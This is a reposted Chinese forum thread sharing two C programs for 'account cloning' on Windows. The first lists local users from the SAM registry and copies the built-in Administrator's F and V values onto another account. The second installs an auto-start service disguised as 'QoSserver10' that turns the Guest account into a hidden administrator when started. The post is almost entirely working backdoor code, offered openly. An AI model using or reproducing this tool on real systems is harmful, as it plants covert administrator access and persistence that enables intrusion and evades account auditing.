返回列表 发帖

[转帖]用C实现克隆帐号[code]

很早的东西了,学编程的可以参考…………
  1. //---------------------------------------------------------------------------
  2. //用法:
  3. //编辑好后,需要自己用regedt32把SAM键及其子键设置为administrator可以访问才能使用
  4. //---------------------------------------------------------------------------
  5. &#35;include <windows.h>
  6. &#35;include <stdio.h>
  7. char name[50][30];//这些是Open函数里的
  8. int openN=0;
  9. &#35;pragma hdrstop
  10. //---------------------------------------------------------------------------
  11. &#35;pragma argsused
  12. //---------------------------------------------------------------------------
  13. // Open
  14. // 打开一个键
  15. //---------------------------------------------------------------------------
  16. void Open(char *set)
  17. {
  18. int i=0;
  19. HKEY hkey;
  20. DWORD dwlndex=0,cbname=100,ret=0;
  21. char temp[100],szBuff[100];
  22. FILETIME ftlastwt;
  23. ZeroMemory(szBuff,100);
  24. ZeroMemory(temp,100);
  25. ZeroMemory(name,1500);
  26. RegOpenKeyEx(HKEY_LOCAL_MACHINE,
  27. set,
  28. 0,
  29. KEY_ALL_ACCESS,
  30. &hkey);
  31. for( i=0 ; ret==ERROR_SUCCESS ; i++, dwlndex++ )
  32. {
  33. ret = RegEnumKeyEx( hkey,
  34. dwlndex,
  35. temp,
  36. &cbname,
  37. NULL,
  38. NULL,
  39. NULL,
  40. &ftlastwt
  41. );
  42. strcat(name[i],temp);
  43. ZeroMemory(temp,100);
  44. cbname=100;
  45. }
  46. RegCloseKey(hkey);
  47. for(openN=0;openN<i;openN++)
  48. {
  49. strcat(szBuff,name[openN]);
  50. strcat(szBuff,"\n\r");
  51. }
  52. printf("%s",szBuff);
  53. return ;
  54. }
  55. //---------------------------------------------------------------------------
  56. // ViewType
  57. // test
  58. //---------------------------------------------------------------------------
  59. ViewType(char *set)
  60. {
  61. HKEY hkey;
  62. DWORD Type=0,ret;
  63. char szBuff[10];
  64. ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE,
  65. set,
  66. 0,
  67. KEY_ALL_ACCESS,
  68. &hkey);
  69. if(ret==ERROR_SUCCESS) ;
  70. else
  71. {
  72. printf("open key FAIL\n\r");
  73. return 0;
  74. }
  75. RegQueryValueEx( hkey, // handle to key
  76. NULL, // value name,要查寻默认值的话,键名就是NULL
  77. NULL, // reserved
  78. &Type, // type buffer
  79. NULL, // data buffer
  80. NULL // size of data buffer
  81. );
  82. wsprintf(szBuff,"%X\n\r",Type);
  83. printf("%s",szBuff);
  84. return 1;
  85. }
  86. //---------------------------------------------------------------------------
  87. // ListUser
  88. // 列出本机所有的用户名和RID标识符
  89. //---------------------------------------------------------------------------
  90. ListUser()
  91. {
  92. char szBuff[70]="SAM\\SAM\\Domains\\Account\\Users\\Names\\";
  93. char szTemp[40]={';\0';};
  94. Open("SAM\\SAM\\Domains\\Account\\Users\\Names");
  95. for(int n=0;n<openN;n++)
  96. {
  97. strcat(szBuff,name[n]);
  98. wsprintf(szTemp,name[n]);
  99. strcat(szTemp,"--->");
  100. printf("%s",szTemp);
  101. ViewType(szBuff);
  102. strcpy(szBuff,"SAM\\SAM\\Domains\\Account\\Users\\Names\\");
  103. }
  104. return 1;
  105. }
  106. //---------------------------------------------------------------------------
  107. // Clone
  108. // 克隆帐号
  109. //---------------------------------------------------------------------------
  110. int Clone(char *user)
  111. {
  112. HKEY hkeyRoot,hkeyUser;
  113. char CloneUserKey[100];
  114. DWORD Type=REG_BINARY,sizeF=1024*2,sizeV=1024*10,ret;
  115. LPBYTE lpDataF,lpDataV;
  116. lpDataF = (LPBYTE) malloc(1024*2);
  117. lpDataV = (LPBYTE) malloc(1024*10);
  118. ZeroMemory(lpDataF,1024*2);
  119. ZeroMemory(lpDataV,1024*10);
  120. ZeroMemory(CloneUserKey,100);
  121. strcpy(CloneUserKey,"SAM\\SAM\\Domains\\Account\\Users\\00000");
  122. strcat(CloneUserKey,user);
  123. ret= RegOpenKeyEx( HKEY_LOCAL_MACHINE,
  124. "SAM\\SAM\\Domains\\Account\\Users\\000001F4",
  125. 0,
  126. KEY_ALL_ACCESS,
  127. &hkeyRoot);
  128. if(ret==ERROR_SUCCESS) ;
  129. else
  130. {
  131. printf("open key FAIL\n\r");
  132. return 0;
  133. }
  134. ret = RegQueryValueEx( hkeyRoot, // handle to key
  135. "F", // value name
  136. NULL, // reserved
  137. &Type, // type buffer
  138. lpDataF, // data buffer
  139. &sizeF // size of data buffer
  140. );
  141. if(ret==ERROR_SUCCESS) ;
  142. else
  143. {
  144. printf("Query key FAIL\n\r");
  145. return 0;
  146. }
  147. ret = RegQueryValueEx( hkeyRoot, // handle to key
  148. "V", // value name
  149. NULL, // reserved
  150. &Type, // type buffer
  151. lpDataV, // data buffer
  152. &sizeV // size of data buffer
  153. );
  154. if(ret==ERROR_SUCCESS) ;
  155. else
  156. {
  157. printf("Query key FAIL\n\r");
  158. return 0;
  159. }
  160. ret = RegOpenKeyEx( HKEY_LOCAL_MACHINE,
  161. CloneUserKey,
  162. 0,
  163. KEY_ALL_ACCESS,
  164. &hkeyUser);
  165. if(ret==ERROR_SUCCESS) ;
  166. else
  167. {
  168. printf("open key FAIL\n\r");
  169. return 0;
  170. }
  171. ret= RegSetValueEx( hkeyUser,
  172. "F",
  173. 0,
  174. REG_BINARY,
  175. lpDataF,
  176. sizeF);
  177. if(ret==ERROR_SUCCESS) ;
  178. else
  179. {
  180. printf("set key FAIL\n\r");
  181. return 0;
  182. }
  183. ret= RegSetValueEx( hkeyUser,
  184. "V",
  185. 0,
  186. REG_BINARY,
  187. lpDataV,
  188. sizeV);
  189. if(ret==ERROR_SUCCESS) ;
  190. else
  191. {
  192. printf("set key FAIL\n\r");
  193. return 0;
  194. }
  195. if(ret==ERROR_SUCCESS)
  196. printf("clone SUCCESS\n\r");
  197. else
  198. {
  199. printf("clone FAIL\n\r");
  200. return 0;
  201. }
  202. RegCloseKey(hkeyRoot);
  203. RegCloseKey(hkeyUser);
  204. return 1;
  205. }
  206. //---------------------------------------------------------------------------
  207. // main()
  208. // 主调函数
  209. //---------------------------------------------------------------------------
  210. int main()
  211. {
  212. char command[20]={';\0';};
  213. char temp[5]={';\0';};
  214. printf("\n=*=Clone Account Ver0.01 Code By NOIR=*=\n\n");
  215. while(1)
  216. {
  217. printf("please enter the command:");
  218. gets(command);
  219. if( (strcmp(command,"listuser"))==0 )
  220. ListUser();
  221. if( (strncmp(command,"clone",5))==0 )
  222. {
  223. strcpy(temp,command+6);
  224. Clone(temp);
  225. }
  226. if( (strcmp(command,"exit")==0) )
  227. exit(0);
  228. }
  229. }
复制代码
  1. //-------------------------------------------------------------------------
  2. //用法:
  3. //先在命令行下输入"Ex-Service install",安装服务.
  4. //再在服务管理器里启动名为QoSserver的服务,一旦启动会将Guest帐号克隆为administrator
  5. //-------------------------------------------------------------------------
  6. &#35;include <windows.h>
  7. &#35;include <stdio.h>
  8. void WINAPI KServiceMain(DWORD argc, LPTSTR * argv);
  9. void InstallService(const char * szServiceName);
  10. int Clone(char *user);
  11. int main(int argc, char * argv[])
  12. {
  13. if ((argc==2) && (::strcmp(argv[1], "install")==0))
  14. {
  15. InstallService("QoSserver10");
  16. return 0;
  17. }
  18. SERVICE_TABLE_ENTRY service_table_entry[] ={
  19. { "QoSserver10",//后台服务线程的名称
  20. KServiceMain },//后台服务线程入口点
  21. { NULL,
  22. NULL }//标志表的结束
  23. };//定义了两个SERVICE_TABLE_ENTRY结构数组
  24. StartServiceCtrlDispatcher(service_table_entry);//指明一个服务的主线程
  25. return 0;
  26. }
  27. SERVICE_STATUS servicestatus;
  28. SERVICE_STATUS_HANDLE servicestatushandle;
  29. void InstallService(const char * szServiceName)
  30. {
  31. SC_HANDLE hService=0,handle=0;
  32. handle = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
  33. if (handle!=NULL)
  34. {
  35. char szFilename[256];
  36. GetModuleFileName(NULL, szFilename, 255);
  37. hService = CreateService( handle,
  38. szServiceName,
  39. szServiceName,
  40. SERVICE_ALL_ACCESS,
  41. SERVICE_WIN32_OWN_PROCESS,
  42. SERVICE_AUTO_START,
  43. SERVICE_ERROR_IGNORE,
  44. szFilename,
  45. NULL,
  46. NULL,
  47. NULL,
  48. NULL,
  49. NULL );
  50. }
  51. CloseServiceHandle(hService);
  52. CloseServiceHandle(handle);
  53. }
  54. void WINAPI ServiceCtrlHandler(DWORD dwControl)
  55. {
  56. switch (dwControl)
  57. {
  58. case SERVICE_CONTROL_PAUSE:
  59. servicestatus.dwCurrentState = SERVICE_PAUSE_PENDING;
  60. SetServiceStatus(servicestatushandle, &servicestatus);
  61. servicestatus.dwCurrentState = SERVICE_PAUSED;
  62. break;
  63. case SERVICE_CONTROL_CONTINUE:
  64. servicestatus.dwCurrentState = SERVICE_CONTINUE_PENDING;
  65. SetServiceStatus(servicestatushandle, &servicestatus);
  66. servicestatus.dwCurrentState = SERVICE_RUNNING;
  67. break;
  68. case SERVICE_CONTROL_STOP:
  69. servicestatus.dwCurrentState = SERVICE_STOP_PENDING;
  70. SetServiceStatus(servicestatushandle, &servicestatus);
  71. servicestatus.dwCurrentState = SERVICE_STOPPED;
  72. break;
  73. case SERVICE_CONTROL_SHUTDOWN:
  74. break;
  75. case SERVICE_CONTROL_INTERROGATE:
  76. servicestatus.dwCurrentState = SERVICE_RUNNING;
  77. break;
  78. }
  79. SetServiceStatus(servicestatushandle, &servicestatus);
  80. }
  81. void WINAPI KServiceMain(DWORD argc, LPTSTR * argv)
  82. {
  83. //注册服务控制处理函数
  84. bool bInitialized = true;
  85. servicestatushandle =::RegisterServiceCtrlHandler("QoSserver10", ServiceCtrlHandler);
  86. if (servicestatushandle == (SERVICE_STATUS_HANDLE)0)
  87. return;
  88. servicestatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
  89. servicestatus.dwCurrentState = SERVICE_START_PENDING;
  90. servicestatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;//表明Service目前能接受的命令是SERVICE_CONTROL_STOP 标志
  91. servicestatus.dwWin32ExitCode = 0;
  92. servicestatus.dwServiceSpecificExitCode = 0;
  93. servicestatus.dwCheckPoint = 0;
  94. servicestatus.dwWaitHint = 0;
  95. SetServiceStatus(servicestatushandle, &servicestatus);//必须随时更新数据库中Service的状态。
  96. servicestatus.dwCheckPoint = 0;
  97. servicestatus.dwWaitHint = 0;
  98. Clone("406");
  99. if (!bInitialized)
  100. {
  101. servicestatus.dwCurrentState = SERVICE_STOPPED;
  102. servicestatus.dwWin32ExitCode = ERROR_SERVICE_SPECIFIC_ERROR;
  103. servicestatus.dwServiceSpecificExitCode = 1;
  104. }
  105. else
  106. {
  107. servicestatus.dwCurrentState = SERVICE_RUNNING;
  108. }
  109. SetServiceStatus(servicestatushandle, &servicestatus);
  110. return;
  111. }
  112. int Clone(char *user)
  113. {
  114. HKEY hkeyRoot,hkeyUser;
  115. char CloneUserKey[100];
  116. DWORD Type=REG_BINARY,sizeF=1024*2,sizeV=1024*10,ret;
  117. LPBYTE lpDataF,lpDataV;
  118. lpDataF = (LPBYTE) malloc(1024*2);
  119. lpDataV = (LPBYTE) malloc(1024*10);
  120. ZeroMemory(lpDataF,1024*2);
  121. ZeroMemory(lpDataV,1024*10);
  122. ZeroMemory(CloneUserKey,100);
  123. strcpy(CloneUserKey,"SAM\\SAM\\Domains\\Account\\Users\\00000");
  124. strcat(CloneUserKey,user);
  125. ret= RegOpenKeyEx( HKEY_LOCAL_MACHINE,
  126. "SAM\\SAM\\Domains\\Account\\Users\\000001F4",
  127. 0,
  128. KEY_ALL_ACCESS,
  129. &hkeyRoot);
  130. if(ret==ERROR_SUCCESS) ;
  131. else
  132. {
  133. printf("open key FAIL\n\r");
  134. return 0;
  135. }
  136. ret = RegQueryValueEx( hkeyRoot,
  137. "F",
  138. NULL,
  139. &Type,
  140. lpDataF,
  141. &sizeF
  142. );
  143. if(ret==ERROR_SUCCESS) ;
  144. else
  145. {
  146. printf("Query key FAIL\n\r");
  147. return 0;
  148. }
  149. ret = RegQueryValueEx( hkeyRoot,
  150. "V",
  151. NULL,
  152. &Type,
  153. lpDataV,
  154. &sizeV
  155. );
  156. if(ret==ERROR_SUCCESS) ;
  157. else
  158. {
  159. printf("Query key FAIL\n\r");
  160. return 0;
  161. }
  162. ret = RegOpenKeyEx( HKEY_LOCAL_MACHINE,
  163. CloneUserKey,
  164. 0,
  165. KEY_ALL_ACCESS,
  166. &hkeyUser);
  167. if(ret==ERROR_SUCCESS) ;
  168. else
  169. {
  170. printf("open key FAIL\n\r");
  171. return 0;
  172. }
  173. ret= RegSetValueEx( hkeyUser,
  174. "F",
  175. 0,
  176. REG_BINARY,
  177. lpDataF,
  178. sizeF);
  179. if(ret==ERROR_SUCCESS) ;
  180. else
  181. {
  182. printf("set key FAIL\n\r");
  183. return 0;
  184. }
  185. ret= RegSetValueEx( hkeyUser,
  186. "V",
  187. 0,
  188. REG_BINARY,
  189. lpDataV,
  190. sizeV);
  191. if(ret==ERROR_SUCCESS) ;
  192. else
  193. {
  194. printf("set key FAIL\n\r");
  195. return 0;
  196. }
  197. if(ret==ERROR_SUCCESS)
  198. printf("clone SUCCESS\n\r");
  199. else
  200. {
  201. printf("clone FAIL\n\r");
  202. return 0;
  203. }
  204. RegCloseKey(hkeyRoot);
  205. RegCloseKey(hkeyUser);
  206. return 1;
  207. }
复制代码

返回列表 回复 发帖